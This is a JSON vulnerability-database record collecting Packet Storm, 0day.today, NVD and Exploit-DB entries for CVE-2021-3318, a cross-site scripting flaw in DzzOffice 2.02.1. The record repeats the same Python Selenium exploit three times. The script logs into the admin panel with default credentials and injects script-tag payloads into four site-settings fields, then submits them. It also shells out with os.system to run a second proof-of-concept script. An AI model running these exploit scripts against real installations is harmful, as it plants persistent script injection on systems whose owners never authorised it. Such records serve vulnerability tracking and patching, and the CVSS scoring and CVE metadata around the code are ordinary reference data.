{"id": "PACKETSTORM:162314", "type": "packetstorm", "bulletinFamily": "exploit", "title": "DzzOffice 2.02.1 Cross Site Scripting", "description": "", "published": "2021-04-23T00:00:00", "modified": "2021-04-23T00:00:00", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}, "href": "https://packetstormsecurity.com/files/162314/DzzOffice-2.02.1-Cross-Site-Scripting.html", "reporter": "nu11secur1ty", "references": [], "cvelist": ["CVE-2021-3318"], "immutableFields": [], "lastseen": "2021-04-23T16:23:29", "viewCount": 138, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2021-3318"]}, {"type": "exploitdb", "idList": ["EDB-ID:49799"]}, {"type": "zdt", "idList": ["1337DAY-ID-36146"]}], "rev": 4}, "score": {"value": 4.3, "vector": "NONE"}, "backreferences": {"references": [{"type": "cve", "idList": ["CVE-2021-3318"]}, {"type": "exploitdb", "idList": ["EDB-ID:49799"]}, {"type": "zdt", "idList": ["1337DAY-ID-36146"]}]}, "exploitation": null, "vulnersScore": 4.3}, "sourceHref": "https://packetstormsecurity.com/files/download/162314/dzzoffice2021-xss.txt", "sourceData": "`# Exploit Title: XSS attack (app/setting) in DzzOffice-2.02.1 \n# Author: @nu11secur1ty \n# Testing and Debugging: @nu11secur1ty, g3ck0dr1v3r \n# Date: 04.23.2021 \n# Vendor: http://www.dzzoffice.com/ \n# Link: https://github.com/zyx0814/dzzoffice \n# CVE: CVE-2021-3318 \n \n[+] Exploit Source: \n \n#!/usr/bin/python3 \n# Author: @nu11secur1ty \n# CVE-2021-3318 \n \nfrom selenium import webdriver \nimport time \nimport os \n \n \n#enter the link to the website you want to automate login. \nwebsite_link=\"http://localhost/dzzoffice/user.php?mod=login\" \n \n#enter your login username \nusername=\"admin@dzzoffice.com\" \n \n#enter your login password \npassword=\"password\" \n \n#enter the element for username input field \nelement_for_username=\"email\" \n#enter the element for password input field \nelement_for_password=\"password\" \n#enter the element for submit button \nelement_for_submit=\"loginsubmit\" \n \n# Dai brauzura aaa ta eba \nbrowser = webdriver.Chrome() #uncomment this line,for chrome users \n \n# Otvarai da ne vlazam s kasata \nbrowser.get((website_link)) \n \n# Run... \ntry: \nusername_element = browser.find_element_by_name(element_for_username) \nusername_element.send_keys(username) \npassword_element = browser.find_element_by_name(element_for_password) \npassword_element.send_keys(password) \n \n### Login \nsignInButton = browser.find_element_by_name(element_for_submit) \nsignInButton.click() \n \n### Exploit \n#time.sleep(3) \nelement_for_natrutvanie=\"admin_password\" \nlaina=\"http://localhost/dzzoffice/admin.php?mod=appmarket&op=cloudappmarket\" \nbrowser.get((laina)) \n \n### Next level... :) \nos.system(\"python poc_login_1.py\") \n \nprint(\"payload is deployed_0...\\n\") \nexcept Exception: \n \n#### This exception occurs if the element are not found in the webpage. \nprint(\"Some error occured :(\") \n \n### os.system \n \n#!/usr/bin/python3 \n# Author: @nu11secur1ty \n# CVE-2021-3318 \n \nfrom selenium import webdriver \nimport time \n \n \n#enter the link to the website you want to automate login. \nwebsite_link=\"http://localhost/dzzoffice/admin.php?mod=setting\" \n \n#enter your login username \nusername=\"admin@dzzoffice.com\" \n \n#enter your login password \npassword=\"password\" \n \n \n#enter the element for username input field \nelement_for_username=\"admin_email\" \n \n#enter the element for password input field \nelement_for_password=\"admin_password\" \n \n#enter the element for submit button \nelement_for_submit=\"submit\" \n \n# Dai brauzura aaa ta eba \nbrowser = webdriver.Chrome() #uncomment this line,for chrome users \n \n# Otvarai da ne vlazam s kasata \nbrowser.get((website_link)) \n \n# Run... \ntry: \nusername_element = browser.find_element_by_name(element_for_username) \nusername_element.send_keys(username) \npassword_element = browser.find_element_by_name(element_for_password) \npassword_element.send_keys(password) \n \n### Login \nsignInButton = browser.find_element_by_name(element_for_submit) \nsignInButton.click() \n \n### Exploit \ntime.sleep(3) \nelement_for_natrutvanie=\"settingsubmit\" \nlaina=\"http://localhost/dzzoffice/admin.php?mod=setting\" \nbrowser.get((laina)) \n \n### Inner text... \nbrowser.execute_script(\"document.querySelector('[name=\\\"settingnew[metakeywords]\\\"]').value \n= '<script>alert(\\\"nu11secur1ty_is_here\\\");</script>'\") \nbrowser.execute_script(\"document.querySelector('[name=\\\"settingnew[sitebeian]\\\"]').value \n= '<script>alert(\\\"nu11secur1ty_is_here\\\");</script>'\") \nbrowser.execute_script(\"document.querySelector('[name=\\\"settingnew[metadescription]\\\"]').value \n= '<script>alert(\\\"nu11secur1ty_is_here\\\");</script>'\") \nbrowser.execute_script(\"document.querySelector('[name=\\\"settingnew[statcode]\\\"]').value \n= '<script>alert(\\\"nu11secur1ty_is_here\\\");</script>'\") \n \ntime.sleep(5) \n \n# Submit exploit \nsignInButton = browser.find_element_by_name(element_for_natrutvanie) \nsignInButton.click() \n \nprint(\"payload is deployed_1...\\n\") \nexcept Exception: \n \n#### This exception occurs if the element are not found in the webpage. \nprint(\"Some error occured :(\") \n \n \n--------------------------------- \n \n# Exploit Title: XSS attack (app/setting) in DzzOffice-2.02.1 \n# Date: 04.23.2021 \n# Exploit Authotr idea: @nu11secur1ty \n# Exploit Debugging: @nu11secur1ty, g3ck0dr1v3r \n# Vendor Homepage: http://www.dzzoffice.com/ \n# Software Link: https://github.com/zyx0814/dzzoffice \n \n# Steps to Reproduce: \nhttps://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-3318 \n`\n", "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1646058203}}
{"zdt": [{"lastseen": "2021-10-30T08:28:52", "description": "", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "baseScore": 6.1, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 2.7}, "published": "2021-04-23T00:00:00", "type": "zdt", "title": "DzzOffice 2.02.1 - (Multiple) Cross-Site Scripting Exploit", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-3318"], "modified": "2021-04-23T00:00:00", "id": "1337DAY-ID-36146", "href": "https://0day.today/exploit/description/36146", "sourceData": "# Exploit Title: DzzOffice 2.02.1 - 'Multiple' Cross-Site Scripting (XSS)\r\n# Author: @nu11secur1ty\r\n# Testing and Debugging: @nu11secur1ty, g3ck0dr1v3r\r\n# Vendor: http://www.dzzoffice.com/\r\n# Link: https://github.com/zyx0814/dzzoffice\r\n# CVE: CVE-2021-3318\r\n\r\n[+] Exploit Source:\r\n\r\n#!/usr/bin/python3\r\n# Author: @nu11secur1ty\r\n# CVE-2021-3318\r\n\r\nfrom selenium import webdriver\r\nimport time\r\nimport os\r\n\r\n\r\n#enter the link to the website you want to automate login.\r\nwebsite_link=\"http://localhost/dzzoffice/user.php?mod=login\"\r\n\r\n#enter your login username\r\nusername=\"[email\u00a0protected]\"\r\n\r\n#enter your login password\r\npassword=\"password\"\r\n\r\n#enter the element for username input field\r\nelement_for_username=\"email\"\r\n#enter the element for password input field\r\nelement_for_password=\"password\"\r\n#enter the element for submit button\r\nelement_for_submit=\"loginsubmit\"\r\n\r\n# Dai brauzura aaa ta eba\r\nbrowser = webdriver.Chrome() #uncomment this line,for chrome users\r\n\r\n# Otvarai da ne vlazam s kasata\r\nbrowser.get((website_link))\r\n\r\n# Run...\r\ntry:\r\nusername_element = browser.find_element_by_name(element_for_username)\r\nusername_element.send_keys(username)\r\npassword_element = browser.find_element_by_name(element_for_password)\r\npassword_element.send_keys(password)\r\n\r\n### Login\r\nsignInButton = browser.find_element_by_name(element_for_submit)\r\nsignInButton.click()\r\n\r\n### Exploit\r\n#time.sleep(3)\r\nelement_for_natrutvanie=\"admin_password\"\r\nlaina=\"http://localhost/dzzoffice/admin.php?mod=appmarket&op=cloudappmarket\"\r\nbrowser.get((laina))\r\n\r\n### Next level... :)\r\nos.system(\"python poc_login_1.py\")\r\n\r\nprint(\"payload is deployed_0...\\n\")\r\nexcept Exception:\r\n\r\n#### This exception occurs if the element are not found in the webpage.\r\nprint(\"Some error occured :(\")\r\n\r\n### os.system\r\n\r\n#!/usr/bin/python3\r\n# Author: @nu11secur1ty\r\n# CVE-2021-3318\r\n\r\nfrom selenium import webdriver\r\nimport time\r\n\r\n\r\n#enter the link to the website you want to automate login.\r\nwebsite_link=\"http://localhost/dzzoffice/admin.php?mod=setting\"\r\n\r\n#enter your login username\r\nusername=\"[email\u00a0protected]\"\r\n\r\n#enter your login password\r\npassword=\"password\"\r\n\r\n\r\n#enter the element for username input field\r\nelement_for_username=\"admin_email\"\r\n\r\n#enter the element for password input field\r\nelement_for_password=\"admin_password\"\r\n\r\n#enter the element for submit button\r\nelement_for_submit=\"submit\"\r\n\r\n# Dai brauzura aaa ta eba\r\nbrowser = webdriver.Chrome() #uncomment this line,for chrome users\r\n\r\n# Otvarai da ne vlazam s kasata\r\nbrowser.get((website_link))\r\n\r\n# Run...\r\ntry:\r\nusername_element = browser.find_element_by_name(element_for_username)\r\nusername_element.send_keys(username)\r\npassword_element = browser.find_element_by_name(element_for_password)\r\npassword_element.send_keys(password)\r\n\r\n### Login\r\nsignInButton = browser.find_element_by_name(element_for_submit)\r\nsignInButton.click()\r\n\r\n### Exploit\r\ntime.sleep(3)\r\nelement_for_natrutvanie=\"settingsubmit\"\r\nlaina=\"http://localhost/dzzoffice/admin.php?mod=setting\"\r\nbrowser.get((laina))\r\n\r\n### Inner text...\r\nbrowser.execute_script(\"document.querySelector('[name=\\\"settingnew[metakeywords]\\\"]').value = '<script>alert(\\\"nu11secur1ty_is_here\\\");</script>'\")\r\nbrowser.execute_script(\"document.querySelector('[name=\\\"settingnew[sitebeian]\\\"]').value = '<script>alert(\\\"nu11secur1ty_is_here\\\");</script>'\")\r\nbrowser.execute_script(\"document.querySelector('[name=\\\"settingnew[metadescription]\\\"]').value = '<script>alert(\\\"nu11secur1ty_is_here\\\");</script>'\")\r\nbrowser.execute_script(\"document.querySelector('[name=\\\"settingnew[statcode]\\\"]').value = '<script>alert(\\\"nu11secur1ty_is_here\\\");</script>'\")\r\n\r\ntime.sleep(5)\r\n\r\n# Submit exploit\r\nsignInButton = browser.find_element_by_name(element_for_natrutvanie)\r\nsignInButton.click()\r\n\r\nprint(\"payload is deployed_1...\\n\")\r\nexcept Exception:\r\n\r\n#### This exception occurs if the element are not found in the webpage.\r\nprint(\"Some error occured :(\")\n\n# 0day.today [2021-10-30] #", "sourceHref": "https://0day.today/exploit/36146", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}}], "cve": [{"lastseen": "2022-04-26T20:14:26", "description": "attach/ajax.php in DzzOffice through 2.02.1 allows XSS via the editorid parameter.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "NONE", "baseScore": 6.1, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2021-01-27T18:15:00", "type": "cve", "title": "CVE-2021-3318", "cwe": ["CWE-79"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-3318"], "modified": "2022-04-26T16:32:00", "cpe": ["cpe:/a:dzzoffice:dzzoffice:2.02.1"], "id": "CVE-2021-3318", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-3318", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}, "cpe23": ["cpe:2.3:a:dzzoffice:dzzoffice:2.02.1:*:*:*:*:*:*:*"]}], "exploitdb": [{"lastseen": "2022-05-13T17:38:32", "description": "", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "NONE", "baseScore": 6.1, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2021-04-23T00:00:00", "type": "exploitdb", "title": "DzzOffice 2.02.1 - 'Multiple' Cross-Site Scripting (XSS)", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["2021-3318", "CVE-2021-3318"], "modified": "2021-04-23T00:00:00", "id": "EDB-ID:49799", "href": "https://www.exploit-db.com/exploits/49799", "sourceData": "# Exploit Title: DzzOffice 2.02.1 - 'Multiple' Cross-Site Scripting (XSS)\r\n# Author: @nu11secur1ty\r\n# Testing and Debugging: @nu11secur1ty, g3ck0dr1v3r\r\n# Date: 04/23/2021\r\n# Vendor: http://www.dzzoffice.com/\r\n# Link: https://github.com/zyx0814/dzzoffice\r\n# CVE: CVE-2021-3318\r\n\r\n[+] Exploit Source:\r\n\r\n#!/usr/bin/python3\r\n# Author: @nu11secur1ty\r\n# CVE-2021-3318\r\n\r\nfrom selenium import webdriver\r\nimport time\r\nimport os\r\n\r\n\r\n#enter the link to the website you want to automate login.\r\nwebsite_link=\"http://localhost/dzzoffice/user.php?mod=login\"\r\n\r\n#enter your login username\r\nusername=\"admin@dzzoffice.com\"\r\n\r\n#enter your login password\r\npassword=\"password\"\r\n\r\n#enter the element for username input field\r\nelement_for_username=\"email\"\r\n#enter the element for password input field\r\nelement_for_password=\"password\"\r\n#enter the element for submit button\r\nelement_for_submit=\"loginsubmit\"\r\n\r\n# Dai brauzura aaa ta eba\r\nbrowser = webdriver.Chrome() #uncomment this line,for chrome users\r\n\r\n# Otvarai da ne vlazam s kasata\r\nbrowser.get((website_link))\r\n\r\n# Run...\r\ntry:\r\nusername_element = browser.find_element_by_name(element_for_username)\r\nusername_element.send_keys(username)\r\npassword_element = browser.find_element_by_name(element_for_password)\r\npassword_element.send_keys(password)\r\n\r\n### Login\r\nsignInButton = browser.find_element_by_name(element_for_submit)\r\nsignInButton.click()\r\n\r\n### Exploit\r\n#time.sleep(3)\r\nelement_for_natrutvanie=\"admin_password\"\r\nlaina=\"http://localhost/dzzoffice/admin.php?mod=appmarket&op=cloudappmarket\"\r\nbrowser.get((laina))\r\n\r\n### Next level... :)\r\nos.system(\"python poc_login_1.py\")\r\n\r\nprint(\"payload is deployed_0...\\n\")\r\nexcept Exception:\r\n\r\n#### This exception occurs if the element are not found in the webpage.\r\nprint(\"Some error occured :(\")\r\n\r\n### os.system\r\n\r\n#!/usr/bin/python3\r\n# Author: @nu11secur1ty\r\n# CVE-2021-3318\r\n\r\nfrom selenium import webdriver\r\nimport time\r\n\r\n\r\n#enter the link to the website you want to automate login.\r\nwebsite_link=\"http://localhost/dzzoffice/admin.php?mod=setting\"\r\n\r\n#enter your login username\r\nusername=\"admin@dzzoffice.com\"\r\n\r\n#enter your login password\r\npassword=\"password\"\r\n\r\n\r\n#enter the element for username input field\r\nelement_for_username=\"admin_email\"\r\n\r\n#enter the element for password input field\r\nelement_for_password=\"admin_password\"\r\n\r\n#enter the element for submit button\r\nelement_for_submit=\"submit\"\r\n\r\n# Dai brauzura aaa ta eba\r\nbrowser = webdriver.Chrome() #uncomment this line,for chrome users\r\n\r\n# Otvarai da ne vlazam s kasata\r\nbrowser.get((website_link))\r\n\r\n# Run...\r\ntry:\r\nusername_element = browser.find_element_by_name(element_for_username)\r\nusername_element.send_keys(username)\r\npassword_element = browser.find_element_by_name(element_for_password)\r\npassword_element.send_keys(password)\r\n\r\n### Login\r\nsignInButton = browser.find_element_by_name(element_for_submit)\r\nsignInButton.click()\r\n\r\n### Exploit\r\ntime.sleep(3)\r\nelement_for_natrutvanie=\"settingsubmit\"\r\nlaina=\"http://localhost/dzzoffice/admin.php?mod=setting\"\r\nbrowser.get((laina))\r\n\r\n### Inner text...\r\nbrowser.execute_script(\"document.querySelector('[name=\\\"settingnew[metakeywords]\\\"]').value = '<script>alert(\\\"nu11secur1ty_is_here\\\");</script>'\")\r\nbrowser.execute_script(\"document.querySelector('[name=\\\"settingnew[sitebeian]\\\"]').value = '<script>alert(\\\"nu11secur1ty_is_here\\\");</script>'\")\r\nbrowser.execute_script(\"document.querySelector('[name=\\\"settingnew[metadescription]\\\"]').value = '<script>alert(\\\"nu11secur1ty_is_here\\\");</script>'\")\r\nbrowser.execute_script(\"document.querySelector('[name=\\\"settingnew[statcode]\\\"]').value = '<script>alert(\\\"nu11secur1ty_is_here\\\");</script>'\")\r\n\r\ntime.sleep(5)\r\n\r\n# Submit exploit\r\nsignInButton = browser.find_element_by_name(element_for_natrutvanie)\r\nsignInButton.click()\r\n\r\nprint(\"payload is deployed_1...\\n\")\r\nexcept Exception:\r\n\r\n#### This exception occurs if the element are not found in the webpage.\r\nprint(\"Some error occured :(\")", "sourceHref": "https://www.exploit-db.com/download/49799", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}}]}